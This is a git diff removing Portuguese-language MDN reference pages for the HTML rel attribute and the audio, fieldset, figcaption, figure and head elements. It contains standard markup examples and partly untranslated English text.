{{anch("attr-canonical", "canonical")}}URL ideal para o documento atual.LinkNão permitidoNão permitido
dns-prefetchPede ao browser para antecipadamente efetuar a resolução de DNS para o link em questão.Recurso externoNão permitidoNão permitido
{{anch("attr-external", "external")}}O documento referenciado não pertence ao site do documento atual.Não permitidoAnotaçãoAnotação
{{anch("attr-help", "help")}}Link para material de apoio sobre o contexto atual.LinkLinkLink
{{anch("attr-icon", "icon")}}Um ícone representativo do documento atual.Recurso externoNão permitidoNão permitido
{{anch("attr-license", "license")}}O conteúdo principal do documento atual está protegido pela licença de direitos de autor referida no link.LinkLinkLink
manifestWeb app manifestLinkNão permitidoNão permitido
modulepreloadPede ao browser para antecipadamente descarregar o script e guardá-lo no mapa de módulos do documento, para avaliar depois. As dependências do módulo também podem ser descarregadas, opcionalmente.Recurso externoNão permitidoNão permitido
{{anch("attr-next", "next")}}Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este link é o seguinte.LinkLinkLink
{{anch("attr-nofollow", "nofollow")}}Indica que o autor ou editor do documento atual não aprova o documento referenciado.Não permitidoAnotaçãoAnotação
noopenerCria um contexto de navegação de nível superior e não é "auxiliar" (não está relacionado com outro contexto de navegação), mesmo que a hiperligação estivesse configurada para criar outro tipo de contexto (atribuindo um certo valor ao atributo target, por exemplo).Não permitidoAnotaçãoAnotação
{{anch("attr-noreferrer", "noreferrer")}}Comporta-se do mesmo modo que noopener, mas exclui o header Referer do pedido.Não permitidoAnotaçãoAnotação
{{anch("attr-opener", "opener")}}Cria um contexto de navegação auxiliar, mesmo que a hiperligação fosse criar um contexto de navegação de nível superior que não fosse auxiliar  (por exemplo, no caso de um link com  "_blank" como valor do atributo target).Não permitidoAnotaçãoAnotação
{{anch("attr-pingback", "pingback")}}Indica o endereço do servidor pingback que controla pingbacks para o document atual.Recurso externoNão permitidoNão permitido
preconnectInforma o user agent de que este deve ligar-se antecipadamente à origem do recurso apontado pelo link.Recurso externoNão permitidoNão permitido
prefetchInforma o user agent de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em cache, porque é provável que este seja necessário numa futura navegação.Recurso externoNão permitidoNão permitido
preload -

Informa o user agent de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em cache. Tal deverá ocorrer para para que o recurso seja usado na navegação atual, com base no atributo as (e na prioridade associada ao recurso apontado).

-
Recurso externoNão permitidoNão permitido
prerenderInforma o user agent de que este deve antecipadamente descarregar o recurso apontado e futuramente responder mais rapidamente ao mesmo pedido.Recurso externoNão permitidoNão permitido
{{anch("attr-prev", "prev")}}Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este link é o anterior.LinkLinkLink
{{anch("attr-search", "search")}}Aponta para um recurso onde se pode pesquisar por conteúdo do documento atual e de páginas relacionadas.LinkLinkLink
{{anch("attr-stylesheet", "stylesheet")}}Importa uma style sheet.Recurso externoNão permitidoNão permitido
{{anch("attr-tag", "tag")}}Fornece uma tag (identificada pelo endereço referido) a ser usada no documento atual.Não permitidoLinkNão aplicado
- -

O atributo rel é relevate para os elementos {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. No entanto, alguns dos valores só são relevantes para casos específicos deste grupo de elementos. Para o valor de rel, não há diferenciação entre maiúsculas e minúsculas, tal como em nos atributos HTML em geral.

- -

rel não tem um valor por defeito. Se o atributo for omitido ou se os seus valores forem inválidos, então não existe qualquer relação entre o documento atual e o recurso apontado, fora a existência de uma hiperligação. Por exemplo, para {{htmlelement('link')}} e {{htmlelement('form')}}, se rel for omitido, ou se não tiver pelo menos uma das keywords em cima (separadas por espaços), então não são criadas hiperligações. Mas se o mesmo acontecer com os elementos {{htmlelement('a')}} ou {{htmlelement('area')}}, então os elementos criam hiperligações sem uma relação específica.

- -

Valores

- -

Se houverem vários elementos <link rel="icon">, o browser verifica os atributos media, type e sizes destes para selecionar o ícone mais adequado. Se mais do que um elemento for adequado, é o último que é usado. Se o ícone selecionado acabar por não ser apropriado (porque usa um formato não suportado, por exemplo), o browser seleciona o próximo elemento mais adequado.

- -

Nota: Sistemas Apple iOS não usam este tipo de link, nem o atributo sizes (usado por outros browsers para dispositivos móveis), para escolher um ícone para um Web Clip ou para um placeholder visível no arranque. Sistemas iOS usam apple-touch-icon e apple-touch-startup-image respetivamente, atributos que não são padrão.

- -

O tipo de link shortcut é frequentemente encontrado antes de icon, mas não é padrão, é ignorado, e já não deve ser usado por autores para a web.

- -
-
{{htmlattrdef("alternate")}}
-
Aponta para uma versão alternativa do documento atual. É compatível com elementos link, a, e area. O efeito de alternate depende do valor de outros atributos: -
    -
  • Em conjunto com {{anch('stylesheet')}} num link, alternate cria uma folha de estilo (style sheet) alternativa. -
    <!-- uma folha de estilo persistente -->
    -<link rel="stylesheet" href="default.css">
    -<!-- folhas de estilo alternativas -->
    -<link rel="alternate stylesheet" href="highcontrast.css" title="High contrast">
    -
  • -
  • Com um atributo hreflang que tenha um valor diferente da língua do documento, alternate aponta para uma versão traduzida do documento.
  • -
  • Com um atributo type, aponta para um documento com o mesmo contexto mas formato diferente. Por exemplo, com type="application/rss+xml" cria uma hiperligação para um feed RSS. -
    <link rel="alternate" type="application/atom+xml" href="posts.xml" title="Blog">
    -
  • -
  • Os atributos hreflang e type apontam para versões do documento atua com formatos ou línguas diferentes, que podem ser dedicados a outros media -
    <link rel=alternate href="/fr/html/print" hreflang=fr type=text/html media=print title="French HTML (for printing)">
    -<link rel=alternate href="/fr/pdf" hreflang=fr type=application/pdf title="French PDF">
    -
  • -
-
-
{{htmlattrdef("author")}}
-
Cria uma hiperligação que indica o autor do documento ou artigo atual. Compatível com elementos {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando usado com {{htmlelement('a')}} ou {{htmlelement('area')}}, aponta para um documento (ou mailto:) com informação sobre o autor ou do {{htmlelement('article')}} pai mais próximo (se existir), ou do documento em si. No caso de um elemento {{htmlelement('link')}}, aponta para informação sobre o autor do documento atual. -

Nota: O atributo obsoleto rev="made" é tratado como rel="alternate"

-
-
{{htmlattrdef("bookmark")}}
-
Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}, bookmark informa que o link é um permalink para uma secção pai, que pode ser o {{htmlelement('article')}} ou {{htmlelement('section')}} mais próximo. Se tal secção não existir, o link refere-se ou ao heading mais próximo (que pode ser irmão do link, ou descender de um pai comum).
-
{{htmlattrdef("canonical")}}
-
Compatível com {{htmlelement('link')}}. Define o URL ideal para o documento atual, que é útil para motores de busca.
-
{{htmlattrdef("dns-prefetch")}}
-
Compatível com {{htmlelement('link')}}, seja dentro do {{htmlelement('body')}} ou do {{htmlelement('head')}}. Alerta o browser para antecipadamente efetuar resolução de DNS para a origem do recurso apontado. É útil para recursos que provavelmente serão úteis para o utilizador, porque este será capaz de aceder aos recursos mais rapidamente. Consulte a página sobre como utilizar o DNS prefetch para mais informações.
-
{{htmlattrdef("external")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento referenciado não pertence ao site atual. Este valor é útil para estilizar links externos, e assim informar os utilizadores de que, se ativarem o elemento, vão abandonar o site atual.
-
{{htmlattrdef("help")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Usado para representar uma ligação para conteúdo informativo sobre o pai do elemento com a hiperligação (e descendentes desse mesmo pai). Se um <link> contiver este valor, então o documento referenciado serve de apoio para o documento atual (em geral). Quando o valor está presente num elemento {{htmlelement('a')}} ou {{htmlelement('area')}}, o cursor {{cssxref('cursor')}} passará a help em vez de pointer (se possível).
-
{{htmlattrdef("icon")}}
-
-

Compatível com {{htmlelement('link')}}. Indica que o recurso referenciado é um ícone representativo do documento atual.

- -

Este valor é principalmente utilizado para definir um favicon:

- -
<link rel="icon" href="favicon.ico">
- -

Se houverem vários elementos <link rel="icon">, então o browser deduz que favicon utilizar com base nos atributos media, type, e sizes. Caso mais que um destes elementos sejam os mais adequados (com base nestes critérios), então o browser seleciona o último destes. Se, posteriormente, o ícone mais adequado deixar de o ser, então o browser passa a usar o próximo ícone mais adequado.

- -

Nota: para selecionar um ícone para um Web Clip ou para placeholder de arranque, o sistema iOS da Apple não usa nem este tipo de link nem o atributo sizes. Ao contrário de outros browsers mobile, este sistema usa os valores apple-touch-icon e apple-touch-startup-image respetivamente. Estes valores não são considerados standard.

- -

O valor shortcut é frequentemente encontrado antes de icon, mas já não deve ser utilizado por autores na webshortcut não pertence a uma especificação, e é ignorado por diversos browsers. 

-
-
{{htmlattrdef("license")}}
-
-

Compatível com elementos {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}. O valor indica que a hiperligação aponta para informação de licenciamento relativa ao documento atual. Deste modo, sabe-se que o conteúdo principal do documento atual está protegido pela licença de copyright descrita no documento referenciado. Mesmo quando utilizado num descendente que não pertence ao elemento {{HTMLElement("head")}}, não há distinção entre uma hiperligação para uma licença associada ou a parte do documento ou ao documento em geral. Esta distinção só é possível através da informação na página.

- -
<link rel="license" href="#license">
- -

Nota: Apesar de reconhecido, o valor "equivalente" copyright não é correto, pelo que deve ser evitado.

-
-
{{htmlattrdef("manifest")}}
-
Manifesto web app. Requer o protocolo CORS para adquirir dados de origens diferentes (cross-origin).
-
{{htmlattrdef("modulepreload")}}
-
Útil para questões de performance, compatível com elementos {{htmlelement('link')}} em todo o documento. Informa o browser de que este deve antecipadamente descarregar o script referenciado (com as dependências respetivas), e armazená-lo no módulo de mapa de módulos para futura avaliação. Hiperligações com modulepreload podem ser usados para garantir que o recurso é descarregado com o módulo pronto (mas não avaliado) no mapa de módulo ainda antes de ser necessário. Veja também a página sobre tipos de link: modulepreload.
-
{{htmlattrdef("next")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento atual pertence a uma série de documentos, e que o documento na série que se segue é referenciado pelo elemento em questão. Quando o valor está presente num elemento <link>, os browsers podem assumir que este recurso vai ser necessário posteriormente, e considerar esta informação uma "resource hint" (dica de recurso que podem descarregar antecipadamente).
-
{{htmlattrdef("nofollow")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. nofollow informa spiders (de motores de busca) de que devem ignorar a relação definida pelo link. Este valor pode indicar que o dono do documento atual não confia ou aprova o documento referenciado. nofollow é frequentemente incluído por Search Engine Optimizers (otimizadores de motores de busca) para dar a impressão de que os seus link farms não são páginas de spam.
-
{{htmlattrdef("noopener")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando selecionado, o link cria um contexto de navegação de topo (top-level browsing context) que não é auxiliar (auxiliary), mesmo que tenha condições para criar um contexto auxiliar (ex.: por ter um valor para target adequado). Por outras palavras, o link comporta-se como se window.opener fosse nulo e target="_parent" estivesse definido.
-
- noopener faz o contrário de {{anch("opener")}}.
-
{{htmlattrdef("noreferrer")}}
-
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando incluído, o referrer (página com referência para o recurso) desconhecido. Deste modo, o pedido não inclui Referer no header, e cria um contexto de navegação de topo (top-level browsing context), como se noopener também estivesse definido.
-
{{htmlattrdef("opener")}}
-
Cria um contexto de navegação auxiliar (auxiliary browsing context), mesmo que o link tenha características para criar um contexto de navegação que não fosse auxiliar (via target="_blank").
-
opener faz o contrário de {{anch("noopener")}}.
-
{{htmlattrdef("pingback")}}
-
Define o endereço do servidor de pingback que controla pingbacks para o documento atual.
-
{{htmlattrdef("preconnect")}}
-
Define que o user agent deve antecipadamente conectar-se à origem do recurso apontado.
-
{{htmlattrdef("prefetch")}}
-
Define que o user agent deve antecipadamente descarregar e guardar em cache o recurso apontado. Deste modo, o recurso fica pronto se requisitado posteriormente.
-
{{htmlattrdef("preload")}}
-
Define que o user agent deve antecipadamente descarregar e guardar em cache o recurso apontado para a navegação atual. Deste modo, o recurso está preparado para ser usado num potencial destino da navegação, definido pelo atributo as (a prioridade associada a este destino também é considerada).
-
{{htmlattrdef("prerender")}}
-
Define que o user agent deve antecipadamente descarregar e renderizar o recurso apontado, acelerando respostas a pedidos equivalentes.
-
{{htmlattrdef("prev")}}
-
-

Equivalente à palavra-chave {{anch("next")}}, compatível com os elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. O valor prev indica que o documento atual pertence a uma série de documentos, sendo o link referenciado para o documento que se segue ao atual.

- -

Nota: O valor sinónimo previous não deve ser usado incorrect and should not be used, porque é incorreto.

-
-
{{htmlattrdef("search")}}
-
-

Compatível com elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. search indica que o link referencia um documento com uma interface para pesquisar por conteúdo do documento atual, seja no site ou em recursos relacionados.

- -

Se o atributo type do elemento for application/opensearchdescription+xml, então o recurso apontado é um plugin OpenSearch que pode ser facilmente adicionado a alguns browsers, como o Firefox ou o Internet Explorer.

-
-
{{htmlattrdef("stylesheet")}}
-
-

Compatível com elementos {{htmlelement('link')}}. Importa um recurso externo que é uma stylesheet (folha de estilos). Caso o link aponte para uma stylesheet do tipo text/css, então pode-se omitir o atributo type.

- -

Apesar do valor identificar o link como uma stylesheet, outros atributos ou valores poderão determinar se esta é descarregada ou usada.

- -

Quando o valor stylesheet é usado em conjunto com {{anch('alternate')}}, passa a definir uma stylesheet alternativa. Neste caso, deve ter o atributo title com um valor não-vazio.

- -

O recurso stylesheet externo não será usado nem descarregado em contextos multimédia que não correspondam ao definido pelo atributo media (ex.: se o link para a stylesheet tiver um atributo media com valor "print", então a stylesheet não será descarregada quando a página é renderizada numa tela).

- -

Requer o uso do protocolo CORS para pedidos com origens diferentes.

-
-
{{htmlattrdef("tag")}}
-
Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}. Define que o link referenciado identifica uma palavra-chave que se aplica ao documento atual. Este tipo de link não deve identificar palavras-chave numa tag cloud, porque estas aplicam-se apenas a um grupo de páginas, e não a uma página só (que é o objetivo do valor tag).
-
- -

Valores que não são standard

- -
-
apple-touch-icon-precomposed
-
-
 <!-- iPad de terceira geração com tela Retina de alta resolução: -->
-  <link rel="apple-touch-icon-precomposed" sizes="144x144" href="/static/img/favicon144.e7e21ca263ca.png">
-  <!-- iPhone com tela Retina de alta resolução: -->
-  <link rel="apple-touch-icon-precomposed" sizes="114x114" href="/static/img/favicon114.d526f38b09c5.png">
-  <!-- iPad de primeira e segunda gerações: -->
-  <link rel="apple-touch-icon-precomposed" sizes="72x72" href="/static/img/favicon72.cc65d1d762a0.png">
-  <!-- iPhone e iPod Touch sem telas Retina, e dispositivos Android 2.1 ou superior: -->
-  <link rel="apple-touch-icon-precomposed" href="/static/img/favicon57.de33179910ae.png">
-  <!-- favicon básico -->
-  <link rel="shortcut icon" href="/static/img/favicon32.7f3da72dcea1.png">
-
-
- -

Compatibilidade de Browsers do atributo rel em geral

- - - -

{{Compat("html.elements.attributes.rel")}}

- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName('HTML WHATWG', 'links.html#linkTypes', 'rel attribute')}}{{Spec2('HTML WHATWG')}}Adicionado opener. noopener passou a ser definido por omissão com target="_blank".
{{SpecName('HTML5 W3C', 'links.html#linkTypes', 'rel attribute')}}{{Spec2('HTML5 W3C')}}Adicionados tag, search, prefetch, noreferrer, nofollow, icon, e author.
- copyright passou a ser license.
- Removidos start, chapter, section, subsection, e appendix
{{SpecName("Preload", "#x2.link-type-preload", "preload")}}{{Spec2("Preload")}}Adicionado preload.
{{SpecName("Resource Hints", "#dfn-preconnect", "preconnect")}}{{Spec2("Resource Hints")}}Adicionados dns-prefetch, preconnect, e prerender.
{{SpecName("HTML4.01", "types.html#type-links", "link types")}}{{Spec2("HTML4.01")}}Adicionados alternate, stylesheet, start, chapter, section, subsection, appendix, e bookmark.
- previous passou a ser prev.
- Removidos top, e search.
{{SpecName("HTML3.2", "#link", "<link>")}} -

{{Spec2("HTML3.2")}} (Obsoleto)

-
Adicionados top, contents, index, glossary, copyright, next, previous, help, e search.
{{RFC(1866, "HTML 2.0")}}{{Spec2("HTML2.0")}}(Obsolete)Definição inicial.
- - - - - -

{{Compat("html.elements.link.rel")}}

- -

Veja também

- -
    -
  • {{domxref("HTMLLinkElement.relList")}}
  • -
  • {{domxref("HTMLAnchorElement.relList")}}
  • -
  • {{domxref("HTMLAreaElement.relList")}}
  • -
diff --git a/files/pt-pt/web/html/element/audio/index.html b/files/pt-pt/web/html/element/audio/index.html deleted file mode 100644 index 6c9a45428a..0000000000 --- a/files/pt-pt/web/html/element/audio/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Audio -slug: Web/HTML/Element/audio -translation_of: Web/HTML/Element/audio -original_slug: Web/HTML/Elemento/Audio ---- -

{{ gecko_minversion_header("1.9.1") }}

-

O elemento audio é usado para embutir conteúdo de som em um documento HTML or XHTML.  O elemento audio foi adicionado como parte do HTML 5.

-
    -
  • Tipo do Elemento: block-level (en)
  • -
  • Conteúdo Permitido: texto alternativo
  • -
-
- Nota: Atualmente, o Firefox suporta apenas Vorbis, em recipientes Ogg, assim como o formato WAV. O servidor também deve servir o arquivo usando o MIME type correto para que o Firefox o reproduza corretamente.
-

Atributos

-
-
- autoplay
-
- Um atributo boleano; se especificado (mesmo se o valor for "false"!), o áudio começará a tocar automaticamente assim que ele conseguir, portanto, sem parar para finalizar o carregamento dos dados.
-
- controls {{ unimplemented_inline() }} {{ bug(449149) }}
-
- Se este atributo estiver presente, o navegador oferecerá controles para permitir que o usuário controle a reprodução do áudio, incluindo volume, procura, e pausa/continuar.
-
- loop {{ unimplemented_inline() }} {{ bug(449157) }}
-
- Um atributo boleano; se especificado, quando alcançar o fim do áudio, voltará ao início automaticamente.
-
- src
-
- A URL do áudio a embutir. Este é assunto para protocolos de acesso HTTP (en).
-
-

O deslocamento de tempo é especificado como um valor de ponto flutuante indicando o número de segundos do deslocamento.

-
- Nota: A definição do valor de deslocamento de tempo ainda não está completa na especificação do HTML 5 e está sujeita a mudanças.
-

Exemplos

-
<audio src="http://developer.mozilla.org/@api/deki/files/2926/=AudioTest_(1).ogg" autoplay>
-  Seu navegador não suporta o elemento <code>audio</code>.
-</audio>
-
-

Reproduz o arquivo de áudio anexado à versão em inglês deste artigo.

-

Veja Também

- diff --git a/files/pt-pt/web/html/element/fieldset/index.html b/files/pt-pt/web/html/element/fieldset/index.html deleted file mode 100644 index 1b90d328b2..0000000000 --- a/files/pt-pt/web/html/element/fieldset/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: '
: O elemento "Field Set"' -slug: Web/HTML/Element/fieldset -tags: - - Elemento - - Formulários HTML - - HTML - - Referencia - - Web - - formulários -translation_of: Web/HTML/Element/fieldset -original_slug: Web/HTML/Elemento/fieldset ---- -

elemento HTML <fieldset> é utilizado para agrupar vários controlos, bem como as etiquetas ({{HTMLElement("label")}}) dentro de um formulário da Web.

- -
{{EmbedInteractiveExample("pages/tabbed/fieldset.html", "tabbed-standard")}}
- - - -

As the example above shows, the <fieldset> element provides a grouping for a part of an HTML form, with a nested {{htmlelement("legend")}} element providing a caption for the <fieldset>. It takes few attributes, the most notable of which are form, which can contain the id of a {{htmlelement("form")}} on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go.

- -

Atributos

- -

This element includes the global attributes.

- -
-
{{htmlattrdef("disabled")}} {{HTMLVersionInline(5)}}
-
If this Boolean attribute is set, all form controls that are descendants of the <fieldset>, are disabled, meaning they are not editable but will be submitted along with <form> in comparison with {{htmlattrdef("disabled")}} attribute on form controls. They won't receive any browsing events, like mouse clicks or focus-related events. By default browsers display such controls grayed out. Note that form elements inside the {{HTMLElement("legend")}} element won't be disabled.
-
{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}
-
This attribute takes the value of the id attribute of a {{HTMLElement("form")}} element you want the <fieldset> to be part of, even if it is not inside the form.
-
{{htmlattrdef("name")}} {{HTMLVersionInline(5)}}
-
The name associated with the group. -
Note: The caption for the fieldset is given by the first {{HTMLElement("legend")}} element nested inside it.
-
-
- -

Estilizar com CSS

- -

There are several special styling considerations for <fieldset>.

- -

Its {{cssxref("display")}} value is block by default, and it establishes a block formatting context. If the <fieldset> is styled with an inline-level display value, it will behave as inline-block, otherwise it will behave as block. By default there is a 2px groove border surrounding the contents, and a small amount of default padding. The element has min-inline-size: min-content by default.

- -

If a <legend> is present, it is placed over the block-start border. The <legend> shrink-wraps, and also establishes a formatting context. The display value is blockified (for example, display: inline behaves as block).

- -

There will be an anonymous box holding the contents of the <fieldset>, which inherits certain properties from the <fieldset>. If the <fieldset> is styled with display: grid or display: inline-grid, then the anonymous box will be a grid formatting context. If the <fieldset> is styled with display: flex or display: inline-flex, then the anonymous box will be a flex formatting context. Otherwise it establishes a block formatting context.

- -

You can feel free to style the <fieldset> and <legend> in any way you want to suit your page design.

- -
-

Nota: as of this writing, there are bugs in Microsoft Edge and Google Chrome which prevent flexbox and grid layouts from being used inside a {{HTMLElement("fieldset")}}. This GitHub issue provides bug tracking links.

-
- -

Exemplo

- -

Simple fieldset

- -

This example shows a really simple <fieldset> example, with a <legend>, and a single control inside it.

- -
<form action="#">
-  <fieldset>
-    <legend>Simple fieldset</legend>
-    <input type="radio" id="radio">
-    <label for="radio">Spirit of radio</label>
-  </fieldset>
-</form>
- -

{{ EmbedLiveSample('Simple_fieldset', '100%', '80') }}

- -

"fieldset" desativado

- -

This example shows a disabled <fieldset> with two controls inside it. Note how both the controls are disabled due to being inside a disabled <fieldset>.

- -
<form action="#">
-  <fieldset disabled>
-    <legend>Disabled fieldset</legend>
-    <div>
-      <label for="name">Name: </label>
-      <input type="text" id="name" value="Chris">
-    </div>
-    <div>
-      <label for="pwd">Archetype: </label>
-      <input type="password" id="pwd" value="Wookie">
-    </div>
-  </fieldset>
-</form>
- -

{{ EmbedLiveSample('Disabled_fieldset', '100%', '110') }}

- -

Resumo técnico

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Categorias de conteúdoFlow content, sectioning root, listed, form-associated element, palpable content.
Conteúdo permitidoAn optional {{HTMLElement("legend")}} element, followed by flow content.
Omissão de etiqueta{{no_tag_omission}}
Permitted parentsAny element that accepts flow content.
Permitted ARIA roles{{ARIARole("group")}}, {{ARIARole("presentation")}}
Interface DOM{{domxref("HTMLFieldSetElement")}}
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'forms.html#the-fieldset-element', '<fieldset>')}}{{Spec2('HTML WHATWG')}}Definition of the fieldset element
{{SpecName('HTML5 W3C', 'forms.html#the-fieldset-element', '<fieldset>')}}{{Spec2('HTML5 W3C')}}
{{SpecName('HTML4.01', 'interact/forms.html#h-17.10', '<fieldset>')}}{{Spec2('HTML4.01')}}Initial definition
- -

Compatibilidade de navegador

- - - -

{{Compat("html.elements.fieldset")}}

- -

Consulte também:

- -
    -
  • Other form-related elements: -
      -
    • {{HTMLElement("form")}}
    • -
    • {{HTMLElement("legend")}}
    • -
    • {{HTMLElement("label")}}
    • -
    • {{HTMLElement("button")}}
    • -
    • {{HTMLElement("select")}}
    • -
    • {{HTMLElement("datalist")}}
    • -
    • {{HTMLElement("optgroup")}}
    • -
    • {{HTMLElement("option")}}
    • -
    • {{HTMLElement("textarea")}}
    • -
    • {{HTMLElement("keygen")}}
    • -
    • {{HTMLElement("input")}}
    • -
    • {{HTMLElement("output")}}
    • -
    • {{HTMLElement("progress")}}
    • -
    • {{HTMLElement("meter")}}
    • -
    -
  • -
- -
{{HTMLRef}}
diff --git a/files/pt-pt/web/html/element/figcaption/index.html b/files/pt-pt/web/html/element/figcaption/index.html deleted file mode 100644 index 1a0cf18319..0000000000 --- a/files/pt-pt/web/html/element/figcaption/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: figcaption -slug: Web/HTML/Element/figcaption -translation_of: Web/HTML/Element/figcaption -original_slug: Web/HTML/Elemento/figcaption ---- -

Introdução

- -

O Elemento HTML Figcaption(<figcaption>) representa uma legenda ou uma legenda associada com uma figura ou ilustração descrita pelo resto dos dados do elemento {{ HTMLElement("figure") }} que seu elemento pai.

- -

Contexto de Uso

- - - - - - - - - - - - - - - - - - - - -
Conteúdo permitidoFlow content
Omissão de Tag -

Nenhum, tanto a tag de início e fim são obrigatórias

-
Elemento Pai PermitidoUm Elemento {{ HTMLElement("figure") }}
Documento NormativoHTML5, section 4.5.12
- -

Atributos

- -

Esse elemento não tem nenhum outro atributo além dos atributos globais, comum a todos os elementos.

- -

Interface DOM

- -

Esse elemento implementa a interface HTMLElement.

- -

Examples

- -

Favor consulte o página {{ HTMLElement("figure") }} para exemplos de <figcaption>.

- -

Compatibilidade

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("2.0") }}9.011.105.1
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{ CompatGeckoMobile("2.0") }}9.011.05.1 (iOS 5.0)
-
- -

Ver Também

- -
    -
  • O elemento {{ HTMLElement("figure") }}.
  • -
diff --git a/files/pt-pt/web/html/element/figure/index.html b/files/pt-pt/web/html/element/figure/index.html deleted file mode 100644 index 263f403afb..0000000000 --- a/files/pt-pt/web/html/element/figure/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: figure -slug: Web/HTML/Element/figure -translation_of: Web/HTML/Element/figure -original_slug: HTMLToDelete/Element/figure ---- -

O elemento de figura HTML (<figure>) representa uma tag de conteúdo próprio, frequentemente com legenda. Geralmente referenciada idendependente do fluxo principal do documento, podendo assim ser movido atravéz do fluxo principal sem afeta-lo.

- -
-

Notas de Uso:

- -
    -
  • Iniciando uma seção raiz o escopo do conteúdo do elemento <figure> é excluído do escopo principal do documento.
  • -
  • Uma legenda pode ser associada com o elemento <figure> inserindo um elemento {{ HTMLElement("figcaption") }} dentro dele (podendo ser primeiro ou ultimo nó filho).
  • -
-
- -

Contexto de Uso

- - - - - - - - - - - - - - - - - - - - - - - - -
TipoSeccionando orig
Contexto PermitidoUm elemento {{ HTMLElement("figcaption") }}, seguido pelo fluxo do conteúdo; ou o fluxo do conteúdo seguido pelo elemento {{ HTMLElement("figcaption") }}
Omissão de TagNenhum, ambos marcam o início e o fim da tag são obrigatórios
Elementos Permitidos de OrigemQualquer elemento que aceita elementos de fluxo.
Documento NormativoHTML5, section 4.5.11
- -

Atributos

- -

Esse elemento não tem outros atributos além dos atributos globais, comuns para todos elementos.

- -

DOM Interface

- -

Esse elemento implementa a interface HTMLElement.

- -

Veja também

- -
    -
  • O elemento {{ HTMLElement("figcaption") }}.
  • -
diff --git a/files/pt-pt/web/html/element/head/index.html b/files/pt-pt/web/html/element/head/index.html deleted file mode 100644 index 852cc803a1..0000000000 --- a/files/pt-pt/web/html/element/head/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: ' : O elemento dos metadados (Cabeçalho) do documento' -slug: Web/HTML/Element/head -tags: - - Elemento - - HTML - - HTML:Metadata content - - Referencia - - Web -translation_of: Web/HTML/Element/head -original_slug: Web/HTML/Elemento/head ---- -
{{HTMLRef}}
- -

O elemento <head> de HTML fornece a informação geral (metadados) sobre o documento, incluindo o seu título e hiperligações para as suas folhas de estilo e scripts.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Categorias de conteúdoNone.
Permitted contentIf the document is an {{HTMLElement("iframe")}} {{htmlattrxref("srcdoc", "iframe")}} document, or if title information is available from a higher level protocol, zero or more elements of metadata content.
- Otherwise, one or more elements of metadata content where exactly one is a {{HTMLElement("title")}} element.
Tag omissionThe start tag may be omitted if the first thing inside the head element is an element.
- The end tag may be omitted if the first thing following the head element is not a space character or a comment.
Permitted parentsAn {{HTMLElement("html")}} element, as its first child.
Permitted ARIA rolesNone
DOM interface{{domxref("HTMLHeadElement")}}
- -

Atributos

- -

Este elemento inclui os atributos globais.

- -
-
{{htmlattrdef("profile")}} {{obsolete_inline}}
-
Os URIs de um ou mais perfis de metadados, separados por um espaço em branco.
-
- -

Exemplo

- -
<html>
-  <head>
-    <title>Document title</title>
-  </head>
-</html>
-
- -

Notas

- -

Modern, HTML5-compliant browsers automatically construct a <head> element if the tags are omitted in the markup. This behavior cannot be guaranteed in ancient browsers.

- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}}{{Spec2('HTML WHATWG')}}No change from latest shapshot
{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}{{Spec2('HTML5 W3C')}}Obsoleted profile
{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '<head>')}}{{Spec2('HTML4.01')}} 
- -

Compatibilidade de navegador

- - - -

{{Compat("html.elements.head")}}

- -

Consulte também

- -
    -
  • Elements that can be used inside a <head> element: {{HTMLElement("title")}}, {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("style")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("noscript")}}, {{HTMLElement("template")}}
  • -
